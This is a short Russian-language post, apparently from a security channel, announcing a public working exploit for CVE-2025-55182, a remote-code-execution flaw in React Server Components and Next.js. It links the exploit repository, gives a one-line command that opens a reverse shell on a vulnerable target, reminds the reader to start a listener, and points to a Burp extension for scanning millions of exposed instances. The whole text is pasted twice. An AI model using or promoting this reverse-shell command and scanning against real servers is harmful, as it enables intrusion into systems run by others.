Рабочий эксплоит
CVE-2025-55182 это критическая уязвимость удаленного выполнения кода (RCE) в компонентах React Server (RSC), затрагивающая приложения Next.js, использующие маршрутизатор приложений с действиями сервера.
Уязвимость существует в процессе десериализации протокола Flight, что позволяет злоумышленникам добиться выполнения произвольного кода за счет загрязнения прототипа.
Спустя сутки после тряски (https://react2shell.com/) с нейрослопом, его, наконец, написали https://github.com/Spritualkb/CVE-2025-55182-exp (сырой запрос можно найти тут (https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3)). Работает на любом уязвимом приложении из коробки.
Получить шелл в одну команду можно так
python3 exp.py http://127.0.0.1:3000 --revshell 127.0.0.1 1234
Предварительно надо не забыть поднять слушатель (не смотря на надпись, сам скрипт этого не делает).
Сейчас в интернете находится ( ) 8.7 миллионов потенциально уязвимых инстансов, — 69% всех облачных сред используют Next.js — это каждый второй прод в облаке.
Чтобы не проверять их все вручную, для Burp написали готовое расширение, которое проверяет уязвимость в фоне https://github.com/tobiasGuta/Next.js-RSC-RCE-Scanner-Burp-Suite-Extension (в active scan++ тоже добавили (https://portswigger.net/bappstore/3123d5b5f25c4128894d97ea1acc4976))
CVE-2025-55182 это критическая уязвимость удаленного выполнения кода (RCE) в компонентах React Server (RSC), затрагивающая приложения Next.js, использующие маршрутизатор приложений с действиями сервера.
Уязвимость существует в процессе десериализации протокола Flight, что позволяет злоумышленникам добиться выполнения произвольного кода за счет загрязнения прототипа.
Спустя сутки после тряски (https://react2shell.com/) с нейрослопом, его, наконец, написали https://github.com/Spritualkb/CVE-2025-55182-exp (сырой запрос можно найти тут (https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3)). Работает на любом уязвимом приложении из коробки.
Получить шелл в одну команду можно так
python3 exp.py http://127.0.0.1:3000 --revshell 127.0.0.1 1234
Предварительно надо не забыть поднять слушатель (не смотря на надпись, сам скрипт этого не делает).
Сейчас в интернете находится ( ) 8.7 миллионов потенциально уязвимых инстансов, — 69% всех облачных сред используют Next.js — это каждый второй прод в облаке.
Чтобы не проверять их все вручную, для Burp написали готовое расширение, которое проверяет уязвимость в фоне https://github.com/tobiasGuta/Next.js-RSC-RCE-Scanner-Burp-Suite-Extension (в active scan++ тоже добавили (https://portswigger.net/bappstore/3123d5b5f25c4128894d97ea1acc4976))